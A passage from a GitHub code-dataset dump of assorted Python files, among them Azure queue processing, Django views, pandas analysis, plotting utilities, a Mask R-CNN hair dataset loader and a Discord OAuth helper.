False\n\n\nasync def process_franchisee(blob_name: str,\n store_id: str,\n rest_no: str,\n fran_id: str,\n store_json: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Franchisee Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n fran_cont_json = json.loads(blob_str)\n\n updated_fran_json = proc_store_rec_batch(store_id, rest_no, fran_id, fran_cont_json, store_json)\n logger.info(f'Franchisee Updated: {blob_name}')\n return updated_fran_json, lease, True\n else:\n new_fran_json = create_fran_container_batch(store_id, rest_no, fran_id, store_json)\n logger.info(f'Created New Franchisee Record: {blob_name}')\n return new_fran_json, None, False\n\n\nasync def process_emp_franchisee(blob_name: str,\n sm: Dict) -> (Dict, BlobLeaseClient, bool):\n if await blob_exists(container_name, blob_name):\n logger.info(f'Franchisee[EMP] Exists: {blob_name}')\n\n blob_str, lease = await read_blob(container_name, blob_name)\n cont_json = json.loads(blob_str)\n\n updt_cont_json = update_emp_rec_batch(cont_json, sm)\n logger.info(f'Emp Record Updated in Franchisee[EMP]: {blob_name}')\n return updt_cont_json, lease, True\n else:\n new_cont_json = create_emp_container_batch(sm)\n logger.info(f'Created New Franchisee[EMP]: {blob_name}')\n return new_cont_json, None, False\n\n\nasync def process_sm_lb():\n try:\n async with get_msi_cred() as credential:\n sb_client = ServiceBusClient(sb_ns_endpoint, credential)\n async with sb_client:\n logger.debug('Inside service bus client')\n receiver = sb_client.get_queue_receiver(queue_name=lb_queue_name,\n receive_mode=ServiceBusReceiveMode.RECEIVE_AND_DELETE)\n logger.debug('After Receiver is created....')\n async with receiver:\n logger.debug(f'Receiver Active on {lb_queue_name}')\n async for msg in receiver:\n try:\n logger.debug(\"Received SmartSell Event: \" + str(msg))\n sm = json.loads(str(msg))\n if sm:\n await process_sm_message(sm)\n logger.debug(f'Message Processed from {lb_queue_name}....')\n except Exception as ex:\n logger.exception(f'Exception while processing Message: {ex!r}')\n\n except Exception as ex:\n logger.exception(f'Exception While Creating Queue Receiver: {ex!r}')","repo_name":"bhavyaKumawat/Smart-Sell","sub_path":"lb_processor/lb_proc_batch.py","file_name":"lb_proc_batch.py","file_ext":"py","file_size_in_byte":5853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"43998811279","text":"import numpy as np\nimport os\nimport csv\n\nfrom . import config\ndata_dir = config.data_dir\n\ndef read_articles(article_dir):\n articles = []\n train_dir = os.path.join(data_dir, article_dir)\n for filename in sorted(os.listdir(train_dir)):\n myfile = open(os.path.join(train_dir, filename))\n article = myfile.read()\n articles.append(article)\n myfile.close()\n article_ids = []\n for filename in sorted(os.listdir(train_dir)):\n article_ids.append(filename[7:-4])\n return articles, article_ids\n\ndef read_spans():\n spans = []\n label_dir = os.path.join(data_dir, \"train-labels-task1-span-identification\")\n for filename in sorted(os.listdir(label_dir)):\n myfile = open(os.path.join(label_dir, filename))\n tsvreader = csv.reader(myfile, delimiter=\"\\t\")\n span = []\n for row in tsvreader:\n span.append((int(row[1]), int(row[2])))\n myfile.close()\n spans.append(span)\n return spans\n\ndef print_spans(article, span):\n for sp in span:\n print (article[sp[0]: sp[1]])\n print()\n\ndef return_spans(article, span):\n spans = []\n for sp in span:\n spans.append(article[sp[0] : sp[1]])\n return spans\n\ndef flat_accuracy(preds, labels):\n pred_flat = np.argmax(preds, axis=2).flatten()\n labels_flat = labels.flatten()\n return np.sum(pred_flat == labels_flat) / len(labels_flat)\n","repo_name":"paramansh/propaganda_detection","sub_path":"src/identification/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"44"} +{"seq_id":"39997341952","text":"import pandas as pd\ndf_alunos = pd.read_csv(\"https://raw.githubusercontent.com/elasComputacao/raio-x-dados/main/data/dados-brutos/alunos_raiox.csv\")\n\ndf_geral = df_alunos.query(\"periodo_ingresso >= 2000.1\")\ngeral = df_geral.groupby(['periodo_ingresso']).size().reset_index().rename(columns={0:'geral'})\nmulheres = df_geral.query(\"sexo == 'Feminino'\").groupby(['periodo_ingresso']).size().reset_index().rename(columns={0:'mulheres'})\ndf_ingresso = geral.join(mulheres['mulheres'])\ndf_ingresso.mulheres = df_ingresso.mulheres.fillna(0.0).astype(int)\ndf_ingresso.periodo_ingresso = df_ingresso.periodo_ingresso.astype(str)\n\ndf_ingresso['porcentagem_mulheres'] = df_ingresso['mulheres']/df_ingresso['geral']*100\ndf_ingresso['porcentagem_mulheres'] = df_ingresso['porcentagem_mulheres'].round(2)\n\nmedia_geral = df_ingresso['porcentagem_mulheres'].sum() / df_ingresso['porcentagem_mulheres'].count()\nprint('Media ingresso geral:', media_geral.round(2))\n\nantes_2007 = df_ingresso.query(\"periodo_ingresso < '2007.1'\")\nmedia_antes = antes_2007['porcentagem_mulheres'].sum() / antes_2007['porcentagem_mulheres'].count()\nprint('Media ingresso antes de 2007.1:', media_antes.round(2))\n\ndepois_2007 = df_ingresso.query(\"periodo_ingresso >= '2007.1'\")\nmedia_depois = depois_2007['porcentagem_mulheres'].sum() / depois_2007['porcentagem_mulheres'].count()\nprint('Media ingresso a partir de 2007.1:', media_depois.round(2))","repo_name":"elasComputacao/raio-x-dados","sub_path":"code/porcentagens/ingresso.py","file_name":"ingresso.py","file_ext":"py","file_size_in_byte":1407,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"44"} +{"seq_id":"8013640243","text":"#!/usr/bin/env python\n\nimport numpy as np\nfrom matplotlib import pyplot as plt\nfrom matplotlib.colors import Colormap, ListedColormap\nfrom comp import sort_tuning_curves\n\n\ndef trace(traces, index=0):\n plt.plot(range(np.size(traces, 1)), traces[index,])\n plt.xlabel(\"Frame #\")\n plt.ylabel(\"Fluorescence ($F$)\")\n\n\ndef tuning_curve(curves, ci, index=0):\n plt.errorbar(range(np.size(curves, 1)), curves[index,], ci[index,].T, fmt=\".\")\n plt.xlabel(\"Stimulus\")\n plt.ylabel(\"Response ($\\Delta F/F$)\")\n\n\ndef tuning_curve_matrix(curves, sort=None, vertbars=True):\n if sort==True: curves = curves[sort_tuning_curves(curves),:]\n elif sort: curves = curves[sort,:]\n plt.imshow(curves, interpolation=\"none\", aspect=\"auto\") #, extent=[-.5, np.size(curves,1)-.5, np.size(curves,0)-.5, -.5]\n plt.plot([-.5,np.size(curves,1)+.5], [-.5,np.size(curves,0)+.5], 'w--', linewidth=1)\n if vertbars:\n if vertbars==True:\n vertbars=[.5,5.5,15.5,25.5,30.5]\n if np.size(curves,1)==31: # no catch\n vertbars = vertbars[1:]-1\n elif np.size(curves,1)==26: # multi-piston stimuli only\n vertbars = vertbars[2:]-6\n for v in vertbars:\n plt.axvline(v, color='w', linestyle='--', linewidth=.5)\n plt.xlabel(\"Stimulus\")\n plt.ylabel(\"Neuron\")\n plt.colorbar()","repo_name":"dmossing/nub_analysis_code","sub_path":"Evan/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"25879385366","text":"\nfrom rest_framework.views import Response\nfrom typing import Any, TypedDict\nfrom http import HTTPStatus\nfrom rest_framework.views import exception_handler\nfrom django.urls import path, include\n\nurlpatterns = [\n path('', include(\"commons.authentication.urls\"))\n]\n\n\ndef api_exception_handler(exc: Exception, context: \"dict[str, Any]\") -> Response:\n \"\"\"\n Custom API Exception handler\n \"\"\"\n\n response = exception_handler(exc, context)\n\n if response is not None:\n print(\"sdsd\", HTTPStatus)\n http_code_to_message = {v.value: v.description for v in HTTPStatus}\n error_payload = {\n \"error\": {\n \"status_code\": 0,\n \"message\": \"\",\n \"details\": [],\n }\n }\n error = error_payload[\"error\"]\n status_code = response.status_code\n\n error[\"status_code\"] = status_code\n error[\"message\"] = http_code_to_message[status_code]\n error[\"details\"] = response.data\n response.data = error_payload\n\n return response\n","repo_name":"johannesgirmaw/ecommerce","sub_path":"commons/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6524652615","text":"import setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetuptools.setup(\n name=\"servicenow-api-client\",\n version=\"0.1.2\",\n author=\"Thiago Machado\",\n author_email=\"thiagomachhado@gmail.com\",\n description=\"A python client to Service Now API.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n project_urls={\n \"Source Code\": \"https://github.com/thiagomachado/service_now_client\"\n },\n install_requires=['requests'],\n packages=['servicenow_api_client'],\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU Lesser General Public License v3 (LGPLv3)\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.6',\n)\n","repo_name":"thiagomachado/service_now_client","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"22962422169","text":"import os\nimport re\nwith open('C:/Users/HP/Desktop/文件记录/wenben.txt','r',encoding='utf-8') as f :\n lines=f.readlines()\n mat=r'.*foo.*'\n for line in lines:\n #a=re.findall(line,mat)\n pattern1 = re.compile(mat)\n res=pattern1.findall(line)\n s=[l for l in res if len(res)>0 ]\n print(s)\n\n\n","repo_name":"QingFengLanYue/learn_python","sub_path":"ceshi/wenben.py","file_name":"wenben.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"12109401788","text":"import numpy as np\nimport pandas as pd\nfrom util import get_data, symbol_to_path\nimport datetime as dt\nimport matplotlib.pyplot as plt\n\n\ndef get_sma(df, lookback, plot=False):\n sma = df.rolling(window=lookback).mean()\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\",\n title=('Simple Moving Average (SMA) - ' + str(lookback) + ' / ' + str(lookback * 5) + ' Day lookback'))\n axis.plot(df, label=\"Price\")\n axis.plot(sma, label=\"SMA 10\")\n sma5 = df.rolling(window=lookback * 5).mean()\n axis.plot(sma5, label=\"SMA 50\")\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//SMA.png', dpi=100)\n plt.clf()\n\n return sma\n\ndef get_bb(df, lookback, plot=False):\n rolling_std = df.rolling(window=lookback, min_periods=lookback).std()\n sma = get_sma(df, lookback)\n top_band = sma + 2 * rolling_std\n bottom_band = sma - 2 * rolling_std\n bb = pd.concat([bottom_band, top_band], axis=1)\n #bb.columns = ['bottom_band', 'top_band']\n\n bbp = (df - bottom_band) / (top_band - bottom_band)\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\", title=('Bollinger Bands (BB) - ' + str(lookback) + ' Day Lookback'))\n\n axis.plot(df, label=\"Price\")\n axis.plot(sma, label=\"SMA\", color='orange', linestyle='--')\n axis.plot(top_band, label=\"Upper Band\", color='red')\n axis.plot(bottom_band, label=\"Bottom Band\", color='red')\n axis.grid(True)\n axis.legend()\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//BollingerBands.png', dpi=100)\n plt.clf()\n\n return bbp\n\ndef get_momentum(df, lookback, plot=False):\n momentum = (df / df.shift(lookback)) - 1\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price (Normalized)\", title=('Momentum - ' + str(lookback) + ' Day Lookback'))\n axis.plot(df, label=\"Price - 1\")\n axis.plot(momentum, label=\"Momentum\")\n axis.grid(True)\n axis.legend()\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//Momentum.png', dpi=100)\n plt.clf()\n\n return momentum\n\ndef get_ema(df, lookback, plot=False):\n ema = df.ewm(span=lookback, min_periods=lookback, adjust=False).mean()\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Price\", title=('Exponential Moving Average (EMA) - '\n + str(lookback) + ' / ' + str(lookback*2.5) + ' / '\n + str(lookback*5) + ' / ' + str(lookback*10) + ' Day Lookback'))\n axis.plot(df, label=\"Price\")\n axis.plot(ema, label=\"EMA\")\n ema2f = df.ewm(span=lookback*2.5, min_periods=lookback*2.5, adjust=False).mean()\n axis.plot(ema2f, label=\"EMA 25\")\n ema5 = df.ewm(span=lookback * 5, min_periods=lookback * 5, adjust=False).mean()\n axis.plot(ema5, label=\"EMA 50\")\n ema10 = df.ewm(span=lookback * 10, min_periods=lookback * 10, adjust=False).mean()\n axis.plot(ema10, label=\"EMA 100\")\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//EMA.png', dpi=100)\n return ema\n\ndef get_ppo(df, plot=False):\n ppo = (get_ema(df, 12) - get_ema(df, 26)) / get_ema(df, 26)\n ppo[0:26] = np.nan\n signal = get_ema(ppo, 9)\n diff = ppo - signal\n\n if plot == True:\n figure, axis = plt.subplots()\n axis.set(xlabel='Date', ylabel=\"Percentage Price\",\n title=('Price Percentage Oscillator (PPO) - (12-26)/26 vs. 9 Day Lookback'))\n axis.plot(ppo, label=\"PPO\")\n axis.plot(signal, label=\"PPO Signal\")\n axis.plot(diff, label=\"PPO Difference\", color='gray', linestyle='--')\n axis.legend()\n axis.grid(True)\n figure = plt.gcf()\n figure.set_size_inches(10, 5, forward=True)\n figure.savefig('.//images//PPO.png', dpi=100)\n return ppo\n\ndef test():\n\n sd = dt.datetime(2008, 1, 1)\n ed = dt.datetime(2009, 12, 31)\n sym = ['JPM']\n dates = pd.date_range(sd, ed)\n\n df = get_data(sym, dates)\n df = df[sym]\n\n sma = get_sma(df, 10, True)\n bb = get_bb(df, 20, True)\n momentum = get_momentum(df, 10, True)\n ema = get_ema(df, 10, True)\n ppo = get_ppo(df, True)\n\n print(sma)\n print(bb)\n print(momentum)\n print(ema)\n print(ppo)\n\ndef author():\n return 'jwilkins36'","repo_name":"JKWilkins/StockPortfolioManager","sub_path":"indicators.py","file_name":"indicators.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"4831805934","text":"'''\nDraw a star\n'''\n\nfrom turtleplotbot import TurtlePlotBot\nbot=TurtlePlotBot()\n\ndef star(bot, points, length):\n '''\n Draw a 'n' pointed star with 'length' sides\n\n Args:\n sides: number of points\n length: length of each side\n '''\n angle = 180.0 - 180.0 / points\n bot.pendown()\n\n for _ in range(points):\n bot.forward(length)\n bot.left(angle)\n bot.forward(length)\n\n bot.penup()\n\nstar(bot, 5, 30)\n\n__import__(\"menu\") # optional return to turtleplotbot menu\n","repo_name":"russhughes/TurtlePlotBot","sub_path":"examples/star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"44"} +{"seq_id":"5924798584","text":"# 게임\nimport math\ntotal_game, cur_win_game = map(int, input().split())\n\npercent = cur_win_game * 100 // total_game\nresult = 0\nif percent >= 99:\n result = -1\nelse:\n # 앞으로 할 게임횟수를 x로 두고 방정식\n result = math.ceil(((percent + 1) * total_game - 100 * cur_win_game)/(100 - (percent + 1)))\n\nprint(result)\n","repo_name":"Sungayoung/Algorithm","sub_path":"01_Baekjoon/02_silver/3_1072.py","file_name":"3_1072.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"73809066692","text":"from cgi import print_directory\nfrom distutils.core import run_setup\nfrom termios import NL1\nfrom unittest import result\n\nfrom numpy import number\n\n\ndef add(x, y):# parameters\n return x + y;\n\nn = input(\"Enter the 1st value: \")\nm = input(\"Enter the 2nd value: \")\nn = int(n)\nm = int(m)\nresult= add(n, m)#arguments\nprint(result)\n\nnumber1 = input(\"Enter the 1st value: \")\nnumber2 = input(\"Enter the 2nd value: \")\nnumber1 = int(number1)\nnumber2 = int(number2)\nresult = add(number1, number2)#arguments\nprint(result)\n\nprint(add(2.6, 3.5))\n","repo_name":"cheattheweb/python3_basic_learning","sub_path":"function/basic_fun1.py","file_name":"basic_fun1.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"32665889610","text":"from datetime import timedelta\nimport itertools\nimport random\n\nimport faker\n\nfrom profiles.models import User, Profile\nfrom videos.models import (Category, Comment, CommentVote, Tag, Video,\n VideoVote, ViewCount)\nfrom videos.mixins import VideoAPIMixin\n\nfake = faker.Factory.create()\n\n\ndef exclude_user(user_ids, id_to_exclude):\n \"\"\"\n Helper function to simplify excluding a user_id from a list\n \"\"\"\n id_index = user_ids.index(id_to_exclude)\n return user_ids[:id_index] + user_ids[id_index+1:]\n\n\ndef populate_category_table():\n \"\"\"\n Populate youtube categories from the category list api call for the US\n \"\"\"\n # By inspection I found that categories are the same across supported\n # youtube regions\n parameters = dict(part='snippet', regionCode='US')\n JSON = VideoAPIMixin._get_info_from_api('videoCategories',\n params=parameters)\n categories = [Category(pk=data['id'], title=data['snippet']['title'])\n for data\n in JSON['items']]\n Category.objects.bulk_create(categories)\n\n\ndef populate_user_table():\n \"\"\"\n Create 100 random users to associate with video submissions, comments, etc\n done using bulk create with the same password hash as the first user\n created normally\n \"\"\"\n # Create the first fake user from which a hashed password will be gathered\n # for future entries\n first_user = User.objects.create_user(fake.user_name(),\n fake.email(),\n fake.password())\n first_user.save()\n first_user.profile.blurb = fake.text\n first_user.profile.website = fake.url\n first_user.profile.save()\n hashed_password = first_user.password\n fake_users = [User(username=fake.user_name(),\n first_name=fake.first_name(),\n last_name=fake.last_name(),\n email=fake.email(),\n password=hashed_password)\n for index\n in range(99)]\n User.objects.bulk_create(fake_users)\n user_ids = list(User.objects.values_list('id', flat=True))\n # Exclude first_user id as a profile has already been created for it\n user_ids.remove(first_user.id)\n # Create profiles for all bulk created users\n profiles = [Profile(user_id=id, blurb=fake.text, website=fake.url)\n for id\n in user_ids]\n Profile.objects.bulk_create(profiles)\n\n\ndef populate_video_table():\n \"\"\"\n Populate video table by querying 50 videos from each category from\n youtube\n \"\"\"\n user_ids = User.objects.values_list('id', flat=True)\n parameters = dict(part='id',\n fields='items/id/videoId',\n maxResults=50,\n # Don't need to be embarassed while testing\n safeSearch='strict',\n type='video',\n # Only want to allow embeddable videos for dev database\n videoEmbeddable='true')\n responses = [VideoAPIMixin._get_info_from_api('search', params={\n **parameters, **{'videoCategoryId': category_id}})\n for category_id\n in Category.objects.values_list('id', flat=True)]\n video_ids = list(itertools.chain(*[[data['id']['videoId']\n for data\n in JSON['items']]\n for JSON\n in responses]))\n user_index = 0\n for index in range(0, len(video_ids), 50):\n Video.objects.create_videos(user_ids[user_index],\n *video_ids[index:index+50])\n user_index += 1\n\n\ndef populate_user_relationships():\n \"\"\"\n Creates random relationships for users with other users, categories, tags\n and videos\n \"\"\"\n id_objects = [Category, User, Tag, Video]\n id_map = map(lambda x: x.objects.values_list('id', flat=True), id_objects)\n category_ids, user_ids, tag_ids, video_ids = [list(query)\n for query\n in list(id_map)]\n for user in User.objects.iterator():\n user.favorite_videos.add(*random.sample(video_ids, 10))\n user.followed_categories.add(*random.sample(category_ids, 10))\n user.followed_tags.add(*random.sample(tag_ids, 50))\n user.following.add(*random.sample(exclude_user(user_ids, user.id), 5))\n\n\ndef populate_comment_table():\n \"\"\"\n Generate comment data by having each user generate comments for each\n video and then randomly generate 1000 comments on randomly selected\n existing comments\n \"\"\"\n user_ids = list(User.objects.values_list('id', flat=True))\n video_ids = list(Video.objects.values_list('id', flat=True))\n # Generate comments from all users for all videos\n video_comments = [Comment(text=fake.text(),\n commenter_id=user_id,\n video_id=video_id)\n for user_id in user_ids\n for video_id in video_ids]\n Comment.objects.bulk_create(video_comments)\n # Generate random comments to comments from all users\n for number_of_generations in range(1000):\n comments = [Comment(text=fake.text(),\n commenter_id=random.choice(user_ids),\n parent_id=comment.id,\n video_id=comment.video_id)\n for comment\n in Comment.objects.all().order_by('?')[:100]]\n Comment.objects.bulk_create(comments)\n\n\ndef populate_user_votes_comments():\n \"\"\"\n Populate user voting data by having each user randomly vote for\n 10,000 comments.\n \"\"\"\n comment_ids = list(Comment.objects.values_list('id', flat=True))\n user_ids = list(User.objects.values_list('id', flat=True))\n for user_id in user_ids:\n comments = random.sample(comment_ids, 10000) # 10,000 is 5% of 200,000\n positive_votes = [CommentVote(value=1,\n comment_id=comment_id,\n voter_id=user_id)\n for comment_id\n in comments[:5000]]\n negative_votes = [CommentVote(value=-1,\n comment_id=comment_id,\n voter_id=user_id)\n for comment_id\n in comments[5000:]]\n votes = itertools.chain(positive_votes, negative_votes)\n CommentVote.objects.bulk_create(votes)\n\n\ndef populate_user_votes_videos():\n \"\"\"\n Populate user voting data by having each user randomly vote for\n 50 videos\n \"\"\"\n video_ids = set(Video.objects.values_list('id', flat=True))\n users = list(User.objects.all())\n for user in users:\n # User has already voted for videos they uploaded\n user_videos = set(user.uploaded_videos.values_list('id', flat=True))\n not_user_videos = video_ids - user_videos\n videos = random.sample(not_user_videos, 50) # 50 is 5% of 1,000\n votes = [VideoVote(value=1,\n video_id=video_id,\n voter_id=user.id)\n for video_id\n in videos]\n VideoVote.objects.bulk_create(votes)\n\n\ndef populate_video_viewcounts():\n \"\"\"\n Simulate video comment viewcounts by subtracting a random amount of views\n from a videos intial viewcount and associating the difference with a day\n before the day the viewcount was gathered from. Continuing until the count\n goes to zero\n \"\"\"\n past_views = []\n for viewcount in ViewCount.objects.iterator():\n end_time = viewcount.count_datetime\n video_id = viewcount.video_id\n count = viewcount.views\n viewcounts = []\n while count > 0:\n count -= random.randint(0, count)\n viewcounts.append(count)\n past_views.append([ViewCount(video_id=video_id,\n count_datetime=(\n end_time - timedelta(days=day+1)),\n views=count)\n for day, count\n in enumerate(viewcounts)])\n ViewCount.objects.bulk_create(itertools.chain(*past_views))\n\n\ndef populate_tables():\n populate_category_table()\n populate_user_table()\n populate_video_table()\n populate_user_relationships()\n populate_comment_table()\n populate_user_votes_comments()\n populate_user_votes_videos()\n populate_video_viewcounts()\n","repo_name":"CameronCairns/tastemakers","sub_path":"scripts/populate_table_data.py","file_name":"populate_table_data.py","file_ext":"py","file_size_in_byte":8782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"10341383239","text":"from .libs import *\n\nclass HairDataset(torch.utils.data.Dataset):\n def __init__(self, path_dataset=\"dataset/Figaro_1k_png\", transforms=None, mode='train', max_size=512):\n self.path_dataset = path_dataset\n self.transforms = transforms\n self.mode = mode\n self.max_size = max_size\n\n self.DATA_PATH = os.path.join(os.getcwd(), self.path_dataset)\n self.train_path, self.val_path, self.test_path = [os.path.join(self.DATA_PATH, x) for x in\n ['train', 'val', 'test']]\n\n if self.mode == 'train':\n self.data_files = self.get_files(self.train_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n elif self.mode == 'val':\n self.data_files = self.get_files(self.val_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n elif self.mode == 'test':\n self.data_files = self.get_files(self.test_path)\n self.label_files = [self.get_label_file(f, 'images', 'masks') for f in self.data_files]\n else:\n raise RuntimeError(\"Unexpected dataset mode. \"\n \"Supported modes are: train, val and test\")\n\n def get_files(self, data_folder):\n return glob(\"{}/*.{}\".format(os.path.join(data_folder, 'images'), 'jpg'))\n\n def get_label_file(self, data_path, data_dir, label_dir):\n data_path = data_path.replace(data_dir, label_dir)\n fname, _ = data_path.split('.')\n return \"{}.{}\".format(fname, 'png')\n\n def resize(self, data, label):\n w, h = data.size\n max = h if h >= w else w\n new_size = (int(self.max_size * w / h), self.max_size) if max == h else (self.max_size, int(self.max_size * h / w))\n data = data.resize(new_size, Image.ANTIALIAS)\n label = label.resize(new_size, Image.ANTIALIAS)\n return data, label\n\n def image_loader(self, data_path, label_path):\n data = Image.open(data_path).convert('RGB')\n label = Image.open(label_path).convert('L')\n return self.resize(data, label)\n \n def __getitem__(self, index):\n data_path, label_path = self.data_files[index], self.label_files[index]\n img, label = self.image_loader(data_path, label_path)\n\n labels = [1]\n\n # get bounding box coordinates for each mask\n boxes = []\n ymin = min(np.where(np.array(label) == 255)[0])\n ymax = max(np.where(np.array(label) == 255)[0])\n\n xmin = min(np.where(np.array(label) == 255)[1])\n xmax = max(np.where(np.array(label) == 255)[1])\n\n boxes.append([xmin, ymin, xmax, ymax])\n\n boxes = torch.as_tensor(boxes, dtype=torch.float32)\n masks = torch.as_tensor(np.array(label), dtype=torch.uint8)\n masks = torch.unsqueeze(masks, 2).permute(2, 0, 1) / 255.0\n masks = torch.as_tensor(masks, dtype=torch.uint8)\n labels = torch.as_tensor(labels, dtype=torch.int64)\n image_id = torch.tensor([index])\n area = (boxes[:, 3] - boxes[:, 1]) * (boxes[:, 2] - boxes[:, 0])\n\n target = {}\n target[\"boxes\"] = boxes\n target[\"labels\"] = labels\n target[\"masks\"] = masks\n target[\"image_id\"] = image_id\n target[\"area\"] = area\n\n if self.transforms is not None:\n img, target = self.transforms(img, target)\n return img, target\n\n def __len__(self):\n # return int(len([name for name in os.listdir(os.path.join(self.DATA_PATH, self.mode, 'images')) if name.endswith('jpg')]) / 20)\n return len([name for name in os.listdir(os.path.join(self.DATA_PATH, self.mode, 'images')) if name.endswith('jpg')])\n","repo_name":"KudoKhang/MaskRCNN","sub_path":"networks/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":3746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3683251258","text":"# Напишите программу, которая будет преобразовывать десятичное число в двоичное.\n\n# Пример:\n# - 45 -> 101101\n# - 3 -> 11\n# - 2 -> 10\n\n\na = int(input('Введите число: '))\nsome_str = ''\nif a < 0 or a == 0:\n a = int(input('Введите положительное число отличное от 0: '))\nwhile a > 0:\n some_str = str(a%2) + some_str\n a //=2\nprint(some_str)","repo_name":"NikKysa/Python_Homework_-3","sub_path":"task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"6804872516","text":"WHITE, BLACK = ' ', '#'\r\n\r\n\r\ndef create_chessboard(size=8):\r\n \"\"\"Create a chessboard with of the size passed in.\r\n Don't return anything, print the output to stdout\"\"\"\r\n odd_row = (WHITE + BLACK)*(size // 2)\r\n even_row = (BLACK + WHITE)*(size // 2)\r\n if size%2:\r\n odd_row+=WHITE\r\n even_row+=BLACK\r\n odd_row+=\"\\n\"\r\n even_row+=\"\\n\"\r\n board = (odd_row + even_row)*(size // 2)\r\n if size%2:\r\n board+=odd_row\r\n print(board)\r\n\r\ncreate_chessboard(8)","repo_name":"mhered/pybites","sub_path":"archive/176/save1_passed.py","file_name":"save1_passed.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"30969656308","text":"from django.shortcuts import render\nfrom django.shortcuts import render, redirect\nfrom .forms import OrderForm\nfrom .models import Order\n# Create your views here.\n\n\n\ndef create_order(request):\n if request.method == 'POST':\n form = OrderForm(request.POST)\n if form.is_valid():\n form.save()\n return redirect('order_list')\n else:\n form = OrderForm()\n return render(request, 'orders/create_order.html', {'form': form})\n\n\n\ndef order_list(request):\n orders = Order.objects.all()\n return render(request, 'orders/order_list.html', {'orders': orders})\n\n\ndef edit_order(request, id):\n order = Order.objects.get(id=id)\n if request.method == \"POST\":\n form = OrderForm(request.POST, instance=order)\n if form.is_valid():\n form.save()\n return redirect('order_detail_view', id=id)\n else:\n form = OrderForm(instance=order)\n return render(request, \"orders/edit_order.html\", {\"form\": form})\n\n\n\ndef order_details(request, id):\n order = Order.objects.get(id=id)\n return render(request, \"orders/order_detail.html\",{\"order\": order})","repo_name":"njorogewambuielizabeth/Python-Django","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1124,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"41855943740","text":"from flask import session, abort\nfrom flask import current_app as app\nfrom requests_oauthlib import OAuth2Session\nimport requests\n\nDISCORD_API_URL \t\t= 'https://discordapp.com/api'\nDISCORD_AUTH_BASE_URL = DISCORD_API_URL + '/oauth2/authorize'\nDISCORD_TOKEN_URL = DISCORD_API_URL + '/oauth2/token'\n\ndef token_updater(token):\n\tsession['auth_token'] = token\n\ndef make_session(token=None, state=None):\n\tclient_id = app.config['DISCORD_CLIENT_ID']\n\tsecret = app.config['DISCORD_SECRET_KEY']\n\treturn OAuth2Session(\n\t\tclient_id=client_id,\n\t\ttoken=token,\n\t\tstate=state,\n\t\tscope=['identify', 'connections'],\n\t\ttoken_updater=token_updater,\n\t\tauto_refresh_url=DISCORD_TOKEN_URL,\n\t\tauto_refresh_kwargs={\n\t\t\t'client_id': client_id,\n\t\t\t'client_secret': secret\n\t\t},\n\t\tredirect_uri=app.config['REDIRECT_URI'])\n\ndef get_twitch_name():\n\ttoken = session.get('auth_token')\n\tif token is None:\n\t\treturn None\n\t\n\twith make_session(token=token) as discord:\n\t\tendpoint = DISCORD_API_URL + '/users/@me/connections'\n\t\t#headers = {'Authorization': 'Bearer %s' % 